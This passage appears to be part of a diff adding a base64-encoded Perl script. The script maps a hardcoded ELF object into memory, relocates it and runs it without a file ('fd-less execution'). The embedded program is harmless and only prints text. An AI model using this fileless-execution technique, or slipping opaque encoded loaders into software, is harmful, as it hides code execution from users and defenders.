+bWUgPSAkc3ltdGFiWyRzeW1fbmR4XXsnbmFtZSd9OwogICAgICAgIG15ICRzeW1fc2huZHggPSAk
+c3ltdGFiWyRzeW1fbmR4XXsnc3Rfc2huZHgnfTsKICAgICAgICBteSAkc2VjX25hbWUgPSAkc2h0
+YWJbJHN5bV9zaG5keF17J25hbWUnfTsKCiAgICAgICAgaWYoJHNlY19uYW1lIGVxICcudGV4dCcg
+fHwgJHNlY19uYW1lIGVxICcuZGF0YScgCiAgICAgICAgICAgIHx8ICRzZWNfbmFtZSBlcSAnLnJv
+ZGF0YScgfHwgJHN5bV9zaG5keCA9PSAwKSB7CiAgICAgICAgICAgIG15ICRiYXNlX3B0cjsKICAg
+ICAgICAgICAgbXkgJHBhdGNoX29mZnNldCA9ICR0ZXh0X3B0ciArICRyZWxvY3NbJGldeydyX29m
+ZnNldCd9OwoKICAgICAgICAgICAgJGJhc2VfcHRyID0gJHRleHRfcHRyIGlmKCRzZWNfbmFtZSBl
+cSAnLnRleHQnKTsKICAgICAgICAgICAgJGJhc2VfcHRyID0gJGRhdGFfcHRyIGlmKCRzZWNfbmFt
+ZSBlcSAnLmRhdGEnKTsKICAgICAgICAgICAgJGJhc2VfcHRyID0gJHJvZGF0YV9wdHIgaWYoJHNl
+Y19uYW1lIGVxICcucm9kYXRhJyk7CgogICAgICAgICAgICBteSAkc3ltX2FkZHI7CiAgICAgICAg
+ICAgIGlmKCRzeW1fc2huZHggIT0gMCkgewogICAgICAgICAgICAgICAgJHN5bV9hZGRyID0gJGJh
+c2VfcHRyICsgJHN5bXRhYlskc3ltX25keF17J3N0X3ZhbHVlJ307CiAgICAgICAgICAgIH0gZWxz
+ZSB7CiAgICAgICAgICAgICAgICAjIGV4dGVybmFsIHN5bWJvbHMKCiAgICAgICAgICAgICAgICAj
+IGEgJ2p1bXAgdGFibGUnIGlzIHVzZWQgZm9yIGp1bXBpbmcgdG8gZXh0ZXJuYWwgYWRkcmVzc2Vz
+CiAgICAgICAgICAgICAgICAjIGVhY2ggZW50cnkgb24gdGhlICdqdW1wIHRhYmxlJyB1c2VzIDE0
+IGJ5dGVzOiA4IGJ5dGVzIGZvcgogICAgICAgICAgICAgICAgIyB0aGUgZXh0ZXJuYWwgYWRkcmVz
+cyB3aGVyZSB0byBqdW1wICsgNiBieXRlcyBmb3IgdGhlIGp1bXAKICAgICAgICAgICAgICAgICMg
+aW5zdHJ1Y3Rpb24KCiAgICAgICAgICAgICAgICAjIG9mZnNldCBvbiB0aGUgJ2p1bXAgdGFibGUn
+IGlzIGNhbGN1bGF0ZWQgYmFzZWQgb24gdGhlIG51bWJlcgogICAgICAgICAgICAgICAgIyBvZiBl
+eHRlcm5hbCBzeW1ib2xzOyBmaXJzdCBlbnRyeSBzdGFydHMgYXQgb2Zmc2V0IDAsIHNlY29uZAog
+ICAgICAgICAgICAgICAgIyBhdCBvZmZzZXQgMTQsIHRoaXJkIGF0IG9mZnNldCAyOCwgYW5kIHNv
+IG9uIGFuZCBzbyBmb3J0aAogICAgICAgICAgICAgICAgbXkgJGptcHRhYl9uZHggPSAkam1wdGFi
+X3B0ciArICgkZXh0c3lteyRzeW1fbmFtZX0qMTQpOwoKICAgICAgICAgICAgICAgICMgdGhlIHN5
+bWJvbCBhZGRyZXNzIHVzZWQgZm9yIHRoZSByZWxvY2F0aW9uIGZvcm11bGEgc2hvdWxkCiAgICAg
+ICAgICAgICAgICAjIHBvaW50IHRvIHRoZSBqdW1wIGluc3RydWN0aW9uIGluIHRoZSAnanVtcCB0
+YWJsZScgZW50cnksIHRodXMKICAgICAgICAgICAgICAgICMgdGhlIGZpcnN0IDggYnl0ZXMgYXJl
+IHNraXBwZWQKICAgICAgICAgICAgICAgICRzeW1fYWRkciA9ICRqbXB0YWJfbmR4ICsgODsKCiAg
+ICAgICAgICAgICAgICAjIHRoZSBhY3R1YWwgZXh0ZXJuYWwgc3ltYm9sIGFkZHJlc3MgCiAgICAg
+ICAgICAgICAgICBteSAkZXh0X2FkZHIgPSBEeW5hTG9hZGVyOjpkbF9maW5kX3N5bWJvbCgkbGli
+cmVmLCAkc3ltX25hbWUpOwoKICAgICAgICAgICAgICAgICMgcGFjayBhZGRyZXNzIGluIGxpdHRs
+ZSBlbmRpYW4gb3JkZXIgYW5kIHRoZW4gYXBwZW5kIHRoZSBqdW1wOgogICAgICAgICAgICAgICAg
+IyAweGZmIDB4MjUgZm9yIHRoZSBpbnN0cnVjdGlvbiBpdHNlbGYgYW5kIDB4ZmZmZmZmZjIgPSAt
+MTQgZm9yCiAgICAgICAgICAgICAgICAjIHRoZSBvZmZzZXQgKGp1bXAgMTQgYnl0ZXMgYmFja3dh
+cmRzIHRvIHRoZSBleHRlcm5hbCBhZGRyZXNzKQoKICAgICAgICAgICAgICAgICMgIlYiIGZvcm1h
+dCBpcyA0IGJ5dGVzOyBleHRlcm5hbCBhZGRyZXNzIGlzIDggYnl0ZXMKICAgICAgICAgICAgICAg
+IG15ICgkcDEsICRwMikgPSB1bnBhY2soIlYyIiwgcGFjaygiUSIsICRleHRfYWRkcikpOwogICAg
+ICAgICAgICAgICAgbXkgJGptcHRhYl9lbnRyeSA9IHBhY2soIlYiLCAkcDEpOwogICAgICAgICAg
+ICAgICAgJGptcHRhYl9lbnRyeSAuPSBwYWNrKCJWIiwgJHAyKTsKICAgICAgICAgICAgICAgICRq
+bXB0YWJfZW50cnkgLj0gIlx4ZmZceDI1XHhmMlx4ZmZceGZmXHhmZiI7CgogICAgICAgICAgICAg
+ICAgIyB1cGRhdGUgJ2p1bXAgdGFibGUnIGluIG1lbW9yeQogICAgICAgICAgICAgICAgcG9rZSgk
+am1wdGFiX25keCwgJGptcHRhYl9lbnRyeSwgbGVuZ3RoKCRqbXB0YWJfZW50cnkpKTsKICAgICAg
+ICAgICAgfQogICAgIAogICAgICAgICAgICAjIFJfWDg2XzY0X1BMVDMyICg0KSBhbmQgUl9YODZf
+NjRfUEMzMiAoMikgcmVsb2NhdGlvbnMKICAgICAgICAgICAgIyBpdCB1c2VzIHRoZSBmb3JtdWxh
+ZSBMICsgQSAtIFAgYW5kIFMgKyBBIC0gUCwgYXNzdW1pbmcgTCA9IFMKICAgICAgICAgICAgaWYo
+JHJlbG9jc1skaV17J3R5cGUnfSA9PSA0IG9yICRyZWxvY3NbJGldeyd0eXBlJ30gPT0gMikgewog
+ICAgICAgICAgICAgICAgbXkgJHJlbG8gPSAkc3ltX2FkZHIgKyAkcmVsb2NzWyRpXXsncl9hZGRl
+bmQnfSAtICRwYXRjaF9vZmZzZXQ7CiAgICAgICAgICAgICAgICAjIHBhY2sgaW4gbGl0dGxlIGVu
+ZGlhbiBvcmRlciAoNCBieXRlcykKICAgICAgICAgICAgICAgICRyZWxvID0gcGFjaygiViIsICRy
+ZWxvKTsKICAgICAgICAgICAgICAgICMgYXBwbHkgcmVsb2NhdGlvbiBieSBzaW1wbHkgY29weWlu
+ZyB0aGUgY2FsY3VsYXRlZCBhZGRyZXNzCiAgICAgICAgICAgICAgICAjIGludG8gdGhlIHBhdGNo
+IG9mZnNldCBhZGRyZXNzCiAgICAgICAgICAgICAgICBwb2tlKCRwYXRjaF9vZmZzZXQsICRyZWxv
+LCBsZW5ndGgoJHJlbG8pKTsKICAgICAgICAgICAgfQogICAgICAgIH0gCiAgICB9Cn0KCiMgbWFw
+IGNvZGUgKG1lbW9yeSBtYXAsIHBva2UgY29kZSwgcmVsb2NhdGUsIG1lbW9yeSBwcm90ZWN0KQpz
+dWIgbWFwX2VsZiB7CiAgICBteSAkY29kZSA9IHNoaWZ0OwoKICAgIG15ICRiYXNlX3B0ciA9IG1t
+YXAoMCwgbGVuZ3RoKCRjb2RlKSwgMywgMzMpOwogICAgaWYoJGJhc2VfcHRyID09IC0xKSB7CiAg
+ICAgICAgcHJpbnQgIkZhaWxlZCB0byBhbGxvY2F0ZSBtZW1vcnkgZm9yIEVMRlxuIjsKICAgICAg
+ICBleGl0OwogICAgfQoKICAgIHBva2UoJGJhc2VfcHRyLCAkY29kZSwgbGVuZ3RoKCRjb2RlKSk7
+CgogICAgbXkgJHRleHQgICAgPSAkc2h0YWJbJHRleHRfbmR4XTsKICAgIG15ICRkYXRhICAgID0g
+JHNodGFiWyRkYXRhX25keF07CiAgICBteSAkcm9kYXRhICA9ICRzaHRhYlskcm9kYXRhX25keF07
+CgogICAgIyBzaXplIG9mICdqdW1wIHRhYmxlJyBpcyBudW1iZXIgb2YgZXh0ZXJuYWwgc3ltYm9s
+cyAqIDE0IGJ5dGVzCiAgICBteSAkam1wdGFiX3NpemUgPSAkbnVtX2V4dHN5bSoxNDsKCiAgICAj
+IG1hcCBzZWdtZW50cyBhbmQgJ2p1bXAgdGFibGUnIG5leHQgdG8gZWFjaCBvdGhlcgogICAgbXkg
+JHRleHRfcHRyID0gbW1hcCgKICAgICAgICAwLCAKICAgICAgICBwYWdlX2FsaWduKCR0ZXh0LT57
+J3NoX3NpemUnfSkgKyAKICAgICAgICBwYWdlX2FsaWduKCRkYXRhLT57J3NoX3NpemUnfSkgKyAK
+ICAgICAgICBwYWdlX2FsaWduKCRyb2RhdGEtPnsnc2hfc2l6ZSd9KSArCiAgICAgICAgcGFnZV9h
+bGlnbigkam1wdGFiX3NpemUpLCAKICAgICAgICAzLCAKICAgICAgICAzMwogICAgKTsKICAgIGlm
+ICgkdGV4dF9wdHIgPT0gLTEpIHsKICAgICAgICBwcmludCAiRmFpbGVkIHRvIGFsbG9jYXRlIG1l
+bW9yeSBmb3IgLnRleHRcbiI7CiAgICAgICAgZXhpdDsKICAgIH0KICAgIAogICAgbXkgJGRhdGFf
+cHRyICAgPSAkdGV4dF9wdHIgKyBwYWdlX2FsaWduKCR0ZXh0LT57J3NoX3NpemUnfSk7CiAgICBt
+eSAkcm9kYXRhX3B0ciA9ICRkYXRhX3B0ciArIHBhZ2VfYWxpZ24oJGRhdGEtPnsnc2hfc2l6ZSd9
+KTsKICAgIG15ICRqbXB0YWJfcHRyID0gJHJvZGF0YV9wdHIgKyBwYWdlX2FsaWduKCRyb2RhdGEt
+Pnsnc2hfc2l6ZSd9KTsKCiAgICAjIGNvcHkgc2VnbWVudHMgaW50byBtZW1vcnkKICAgIHBva2Uo
+CiAgICAgICAgJHRleHRfcHRyLCAKICAgICAgICBzdWJzdHIoJGNvZGUsICR0ZXh0LT57J3NoX29m
+ZnNldCd9LCAkdGV4dC0+eydzaF9zaXplJ30pCiAgICApOwoKICAgIHBva2UoCiAgICAgICAgJGRh
+dGFfcHRyLCAKICAgICAgICBzdWJzdHIoJGNvZGUsICRkYXRhLT57J3NoX29mZnNldCd9LCAkZGF0
+YS0+eydzaF9zaXplJ30pCiAgICApOwoKICAgIHBva2UoCiAgICAgICAgJHJvZGF0YV9wdHIsIAog
+ICAgICAgIHN1YnN0cigkY29kZSwgJHJvZGF0YS0+eydzaF9vZmZzZXQnfSwgJHJvZGF0YS0+eydz
+aF9zaXplJ30pCiAgICApOwoKICAgIGRvX3JlbG9jcygkdGV4dF9wdHIsICRkYXRhX3B0ciwgJHJv
+ZGF0YV9wdHIsICRqbXB0YWJfcHRyKTsKCiAgICBpZihtcHJvdGVjdCgkdGV4dF9wdHIsICR0ZXh0
+LT57J3NoX3NpemUnfSwgNSkgPT0gLTEpIHsKICAgICAgICBwcmludCAiRmFpbGVkIHRvIG1wcm90
+ZWN0IC50ZXh0XG4iOwogICAgICAgIGV4aXQ7CiAgICB9CgogICAgIyBjaGVjayAucm9kYXRhIHNo
+X3NpemUgZmlyc3QgaW4gY2FzZSBpcyBub3QgZGVmaW5lZAogICAgaWYoZXhpc3RzICRyb2RhdGEt
+Pnsnc2hfc2l6ZSd9KSB7CiAgICAgICAgaWYobXByb3RlY3QoJHJvZGF0YV9wdHIsICRyb2RhdGEt
+Pnsnc2hfc2l6ZSd9LCAxKSA9PSAtMSkgewogICAgICAgICAgICBwcmludCAiRmFpbGVkIHRvIG1w
+cm90ZWN0IC5yb2RhdGFcbiI7CiAgICAgICAgICAgIGV4aXQ7CiAgICAgICAgfQogICAgfQoKICAg
+IGlmKG1wcm90ZWN0KCRqbXB0YWJfcHRyLCAkam1wdGFiX3NpemUsIDUpID09IC0xKSB7CiAgICAg
+ICAgcHJpbnQgIkZhaWxlZCB0byBtcHJvdGVjdCBqdW1wIHRhYmxlXG4iOwogICAgICAgIGV4aXQ7
+CiAgICB9CgogICAgIyByZXR1cm4gcG9pbnRlciB0byBzdGFydCBvZiB0aGUgdGV4dCBzZWdtZW50
+CiAgICAjIGl0IHdpbGwgYmUgdXNlZCB0byBjYWxjdWxhdGUgdGhlIHBvaW50ZXIgb2YgdGhlIGZ1
+bmN0aW9uIHRvIGJlIGV4ZWN1dGVkCiAgICByZXR1cm4gJHRleHRfcHRyOwp9CgojIGV4ZWN1dGUg
+bWFwcGVkIGZ1bmN0aW9uIChlLmcuIG1haW4pCnN1YiBleGVjX2Z1bmMgewogICAgbXkgJGZ1bmNf
+bmFtZSAgID0gc2hpZnQ7CiAgICBteSAkdGV4dF9wdHIgICAgPSBzaGlmdDsKICAgIG15ICRmdW5j
+X3B0ciAgICA9ICRmdW5jc3skZnVuY19uYW1lfTsKCiAgICBteSAkZnVuYyA9IER5bmFMb2FkZXI6
+OmRsX2luc3RhbGxfeHN1YigKICAgICAgICAiX2phcGgiLCAjIG5vdCByZWFsbHkgdXNlZAogICAg
+ICAgICR0ZXh0X3B0ciArICRmdW5jX3B0ciwgCiAgICAgICAgX19GSUxFX18gIyBubyBmaWxlCiAg
+ICApOwoKICAgICMgZGVyZWZlcmVuY2UgYW5kIGV4ZWN1dGUKICAgICZ7JGZ1bmN9Owp9CgoKIyMj
+IyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMj
+IyMjIyMjIyMjIyMjIyMjIyMjIwojIG1haW4KIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMj
+IyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIwoKbXkgKCRj
+b2RlLCAkZmgpID0gcmVhZF9lbGYoKTsKcGFyc2VfZWxmKCRmaCk7Cm15ICR0ZXh0X3B0ciA9IG1h
+cF9lbGYoJGNvZGUpOwpleGVjX2Z1bmMoJ21haW4nLCAkdGV4dF9wdHIpOwoKCiMjIyMjIyMjIyMj
+IyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMj
+IyMjIyMjIyMjIyMKIyBFTEYgYmluYXJ5IGNvbnRlbnQKIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMj
+IyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIwoK
+IyBoYXJkY29kZWQgdG8gYWNoaWV2ZSBmZC1sZXNzIGV4ZWN1dGlvbgojIHBlcmwgLWUgJ3ByaW50
+Im15IFwkY29kZSA9IFwiXCI7XG4iOyQvPVwzMjsnIFwKIyAtZSAncHJpbnQiXCRjb2RlIC49IHBh
+Y2sgcS9IKi8sIHEvIi4odW5wYWNrIkgqIikuIi87XG4iIHdoaWxlKDw+KScgLi9vYmoubwojCiMg
+aGFyZGNvZGVkIEMgY29kZToKIyAtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLSBCRUdJTiBvYmouYyAt
+LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyAjaW5jbHVkZSA8c3RkaW8u
+aD4KIyAKIyB2b2lkIHByaW50X2phcGgodm9pZCkgewojICAgICBwdXRjaGFyKCdqJyk7CiMgICAg
+IHB1dGNoYXIoJ2EnKTsKIyAgICAgcHV0Y2hhcigncCcpOwojICAgICBwdXRjaGFyKCdoJyk7CiMg
+ICAgIHB1dGNoYXIoJ1xuJyk7CiMgfQojIAojIGludCBtYWluKHZvaWQpIHsKIyAgICAgY2hhciAq
+c3RyID0gImkgYW0gYW4gZWxmIjsKIyAKIyAgICAgcHJpbnRmKCIlc1xuIiwgc3RyKTsKIyAgICAg
+cHJpbnRfamFwaCgpOwojIAojICAgICByZXR1cm4gMDsKIyB9CiMgLS0tLS0tLS0tLS0tLS0tLS0t
+LS0tLS0gRU5EIG9iai5jIC0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
+CiMKCnN1YiBnZXRfY29kZSB7CiAgICBteSAkY29kZSA9ICIiOwogICAgJGNvZGUgLj0gcGFjayBx
+L0gqLywgcS83ZjQ1NGM0NjAyMDEwMTAwMDAwMDAwMDAwMDAwMDAwMDAxMDAzZTAwMDEwMDAwMDAw
+MDAwMDAwMDAwMDAwMDAwLzsKICAgICRjb2RlIC49IHBhY2sgcS9IKi8sIHEvMDAwMDAwMDAwMDAw
+MDAwMDE4MDQwMDAwMDAwMDAwMDAwMDAwMDAwMDQwMDAwMDAwMDAwMDQwMDAwZDAwMGMwMC87CiAg
+ICAkY29kZSAuPSBwYWNrIHEvSCovLCBxLzU1NDg4OWU1YmY2YTAwMDAwMGU4MDAwMDAwMDBiZjYx
+MDAwMDAwZTgwMDAwMDAwMGJmNzAwMDAwMDBlODAwMDAvOwogICAgJGNvZGUgLj0gcGFjayBxL0gq
+LywgcS8wMDAwYmY2ODAwMDAwMGU4MDAwMDAwMDBiZjBhMDAwMDAwZTgwMDAwMDAwMDkwNWRjMzU1
+NDg4OWU1NDg4M2VjLzsKICAgICRjb2RlIC49IHBhY2sgcS9IKi8sIHEvMTA0ODhkMDUwMDAwMDAw
+MDQ4ODk0NWY4NDg4YjQ1Zjg0ODg5YzdlODAwMDAwMDAwZTgwMDAwMDAwMGI4MDAwMC87CiAgICAk
+Y29kZSAuPSBwYWNrIHEvSCovLCBxLzAwMDBjOWMzNjkyMDYxNmQyMDYxNmUyMDY1NmM2NjAwMDA0
+NzQzNDMzYTIwMjg0NDY1NjI2OTYxNmUyMDMxMzAvOwogICAgJGNvZGUgLj0gcGFjayBxL0gqLywg
+cS8yZTMyMmUzMTJkMzYyOTIwMzEzMDJlMzIyZTMxMjAzMjMwMzIzMTMwMzEzMTMwMDAxNDAwMDAw
+MDAwMDAwMDAwLzsKICAgICRjb2RlIC49IHBhY2sgcS9IKi8sIHEvMDE3YTUyMDAwMTc4MTAwMTFi
+MGMwNzA4OTAwMTAwMDAxYzAwMDAwMDFjMDAwMDAwMDAwMDAwMDAzOTAwMDAwMC87CiAgICAkY29k
+ZSAuPSBwYWNrIHEvSCovLCBxLzAwNDEwZTEwODYwMjQzMGQwNjc0MGMwNzA4MDAwMDAwMWMwMDAw
+MDAzYzAwMDAwMDAwMDAwMDAwMmIwMDAwMDAvOwogICAgJGNvZGUgLj0gcGFjayBxL0gqLywgcS8w
+MDQxMGUxMDg2MDI0MzBkMDY2NjBjMDcwODAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAw
+MDAwMDAwLzsKICAgICRjb2RlIC49IHBhY2sgcS9IKi8sIHEvMDAwMDAwMDAwMDAwMDAwMDAxMDAw
+MDAwMDQwMGYxZmYwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMC87CiAgICAkY29kZSAu
+PSBwYWNrIHEvSCovLCBxLzAwMDAwMDAwMDMwMDAxMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAw
+MDAwMDAwMDAwMDAwMDAwMDMwMDAzMDAvOwogICAgJGNvZGUgLj0gcGFjayBxL0gqLywgcS8wMDAw
+MDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDMwMDA0MDAwMDAwMDAwMDAwMDAw
+MDAwLzsKICAgICRjb2RlIC49IHBhY2sgcS9IKi8sIHEvMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAw
+MDMwMDA1MDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMC87CiAgICAkY29kZSAuPSBw
+YWNrIHEvSCovLCBxLzAwMDAwMDAwMDMwMDA3MDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAw
+MDAwMDAwMDAwMDAwMDMwMDA4MDAvOwogICAgJGNvZGUgLj0gcGFjayBxL0gqLywgcS8wMDAwMDAw
+MDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDMwMDA2MDAwMDAwMDAwMDAwMDAwMDAw
+LzsKICAgICRjb2RlIC49IHBhY2sgcS9IKi8sIHEvMDAwMDAwMDAwMDAwMDAwMDA3MDAwMDAwMTIw
+MDAxMDAwMDAwMDAwMDAwMDAwMDAwMzkwMDAwMDAwMDAwMDAwMC87CiAgICAkY29kZSAuPSBwYWNr
+IHEvSCovLCBxLzEyMDAwMDAwMTAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAw
+MDI4MDAwMDAwMTAwMDAwMDAvOwogICAgJGNvZGUgLj0gcGFjayBxL0gqLywgcS8wMDAwMDAwMDAw
+MDAwMDAwMDAwMDAwMDAwMDAwMDAwMDMwMDAwMDAwMTIwMDAxMDAzOTAwMDAwMDAwMDAwMDAwLzsK
+ICAgICRjb2RlIC49IHBhY2sgcS9IKi8sIHEvMmIwMDAwMDAwMDAwMDAwMDM1MDAwMDAwMTAwMDAw
+MDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMC87CiAgICAkY29kZSAuPSBwYWNrIHEv
+SCovLCBxLzAwNmY2MjZhMmU2MzAwNzA3MjY5NmU3NDVmNmE2MTcwNjgwMDVmNDc0YzRmNDI0MTRj
+NWY0ZjQ2NDY1MzQ1NTQvOwogICAgJGNvZGUgLj0gcGFjayBxL0gqLywgcS81ZjU0NDE0MjRjNDU1
+ZjAwNzA3NTc0NjM2ODYxNzIwMDZkNjE2OTZlMDA3MDc1NzQ3MzAwMDAwMDAwMDAwMDAwLzsKICAg
+ICRjb2RlIC49IHBhY2sgcS9IKi8sIHEvMGEwMDAwMDAwMDAwMDAwMDA0MDAwMDAwMGIwMDAwMDBm
+Y2ZmZmZmZmZmZmZmZmZmMTQwMDAwMDAwMDAwMDAwMC87CiAgICAkY29kZSAuPSBwYWNrIHEvSCov
+LCBxLzA0MDAwMDAwMGIwMDAwMDBmY2ZmZmZmZmZmZmZmZmZmMWUwMDAwMDAwMDAwMDAwMDA0MDAw
+MDAwMGIwMDAwMDAvOwogICAgJGNvZGUgLj0gcGFjayBxL0gqLywgcS9mY2ZmZmZmZmZmZmZmZmZm
+MjgwMDAwMDAwMDAwMDAwMDA0MDAwMDAwMGIwMDAwMDBmY2ZmZmZmZmZmZmZmZmZmLzsKICAgICRj
+b2RlIC49IHBhY2sgcS9IKi8sIHEvMzIwMDAwMDAwMDAwMDAwMDA0MDAwMDAwMGIwMDAwMDBmY2Zm
+ZmZmZmZmZmZmZmZmNDQwMDAwMDAwMDAwMDAwMC87CiAgICAkY29kZSAuPSBwYWNrIHEvSCovLCBx
+LzAyMDAwMDAwMDUwMDAwMDBmY2ZmZmZmZmZmZmZmZmZmNTQwMDAwMDAwMDAwMDAwMDA0MDAwMDAw
+MGQwMDAwMDAvOwogICAgJGNvZGUgLj0gcGFjayBxL0gqLywgcS9mY2ZmZmZmZmZmZmZmZmZmNTkw
+MDAwMDAwMDAwMDAwMDA0MDAwMDAwMDkwMDAwMDBmY2ZmZmZmZmZmZmZmZmZmLzsKICAgICRjb2Rl
+IC49IHBhY2sgcS9IKi8sIHEvMjAwMDAwMDAwMDAwMDAwMDAyMDAwMDAwMDIwMDAwMDAwMDAwMDAw
+MDAwMDAwMDAwNDAwMDAwMDAwMDAwMDAwMC87CiAgICAkY29kZSAuPSBwYWNrIHEvSCovLCBxLzAy
+MDAwMDAwMDIwMDAwMDAzOTAwMDAwMDAwMDAwMDAwMDAyZTczNzk2ZDc0NjE2MjAwMmU3Mzc0NzI3
+NDYxNjIvOwogICAgJGNvZGUgLj0gcGFjayBxL0gqLywgcS8wMDJlNzM2ODczNzQ3Mjc0NjE2MjAw
+MmU3MjY1NmM2MTJlNzQ2NTc4NzQwMDJlNjQ2MTc0NjEwMDJlNjI3MzczLzsKICAgICRjb2RlIC49
+IHBhY2sgcS9IKi8sIHEvMDAyZTcyNmY2NDYxNzQ2MTAwMmU2MzZmNmQ2ZDY1NmU3NDAwMmU2ZTZm
+NzQ2NTJlNDc0ZTU1MmQ3Mzc0NjE2My87CiAgICAkY29kZSAuPSBwYWNrIHEvSCovLCBxLzZiMDAy
+ZTcyNjU2YzYxMmU2NTY4NWY2NjcyNjE2ZDY1MDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAw
+MDAvOwogICAgJGNvZGUgLj0gcGFjayBxL0gqLywgcS8wMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAw
+MDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwLzsKICAgICRjb2RlIC49IHBh
+Y2sgcS9IKi8sIHEvMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAw
+MDAwMjAwMDAwMDAwMTAwMDAwMC87CiAgICAkY29kZSAuPSBwYWNrIHEvSCovLCBxLzA2MDAwMDAw
+MDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwNDAwMDAwMDAwMDAwMDAwMDY0MDAwMDAwMDAwMDAwMDAv
+OwogICAgJGNvZGUgLj0gcGFjayBxL0gqLywgcS8wMDAwMDAwMDAwMDAwMDAwMDEwMDAwMDAwMDAw
+MDAwMDAwMDAwMDAwMDAwMDAwMDAxYjAwMDAwMDA0MDAwMDAwLzsKICAgICRjb2RlIC49IHBhY2sg
+cS9IKi8sIHEvNDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDBjMDAyMDAwMDAwMDAwMDAw
+YzAwMDAwMDAwMDAwMDAwMC87CiAgICAkY29kZSAuPSBwYWNrIHEvSCovLCBxLzBhMDAwMDAwMDEw
+MDAwMDAwODAwMDAwMDAwMDAwMDAwMTgwMDAwMDAwMDAwMDAwMDI2MDAwMDAwMDEwMDAwMDAvOwog
+ICAgJGNvZGUgLj0gcGFjayBxL0gqLywgcS8wMzAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAw
+MGE0MDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwLzsKICAgICRjb2RlIC49IHBhY2sgcS9I
+Ki8sIHEvMDAwMDAwMDAwMDAwMDAwMDAxMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMmMw
+MDAwMDAwODAwMDAwMC87CiAgICAkY29kZSAuPSBwYWNrIHEvSCovLCBxLzAzMDAwMDAwMDAwMDAw
+MDAwMDAwMDAwMDAwMDAwMDAwYTQwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAvOwogICAg
+JGNvZGUgLj0gcGFjayBxL0gqLywgcS8wMDAwMDAwMDAwMDAwMDAwMDEwMDAwMDAwMDAwMDAwMDAw
+MDAwMDAwMDAwMDAwMDAzMTAwMDAwMDAxMDAwMDAwLzsKICAgICRjb2RlIC49IHBhY2sgcS9IKi8s
+IHEvMDIwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDBhNDAwMDAwMDAwMDAwMDAwMGMwMDAw
+MDAwMDAwMDAwMC87CiAgICAkY29kZSAuPSBwYWNrIHEvSCovLCBxLzAwMDAwMDAwMDAwMDAwMDAw
+MTAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDM5MDAwMDAwMDEwMDAwMDAvOwogICAgJGNv
+ZGUgLj0gcGFjayBxL0gqLywgcS8zMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMGIwMDAw
+MDAwMDAwMDAwMDAyODAwMDAwMDAwMDAwMDAwLzsKICAgICRjb2RlIC49IHBhY2sgcS9IKi8sIHEv
+MDAwMDAwMDAwMDAwMDAwMDAxMDAwMDAwMDAwMDAwMDAwMTAwMDAwMDAwMDAwMDAwNDIwMDAwMDAw
+MTAwMDAwMC87CiAgICAkY29kZSAuPSBwYWNrIHEvSCovLCBxLzAwMDAwMDAwMDAwMDAwMDAwMDAw
+MDAwMDAwMDAwMDAwZDgwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAvOwogICAgJGNvZGUg
+Lj0gcGFjayBxL0gqLywgcS8wMDAwMDAwMDAwMDAwMDAwMDEwMDAwMDAwMDAwMDAwMDAwMDAwMDAw
+MDAwMDAwMDA1NzAwMDAwMDAxMDAwMDAwLzsKICAgICRjb2RlIC49IHBhY2sgcS9IKi8sIHEvMDIw
+MDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDBkODAwMDAwMDAwMDAwMDAwNTgwMDAwMDAwMDAw
+MDAwMC87CiAgICAkY29kZSAuPSBwYWNrIHEvSCovLCBxLzAwMDAwMDAwMDAwMDAwMDAwODAwMDAw
+MDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDUyMDAwMDAwMDQwMDAwMDAvOwogICAgJGNvZGUgLj0g
+cGFjayBxL0gqLywgcS80MDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDgwMDMwMDAwMDAw
+MDAwMDAzMDAwMDAwMDAwMDAwMDAwLzsKICAgICRjb2RlIC49IHBhY2sgcS9IKi8sIHEvMGEwMDAw
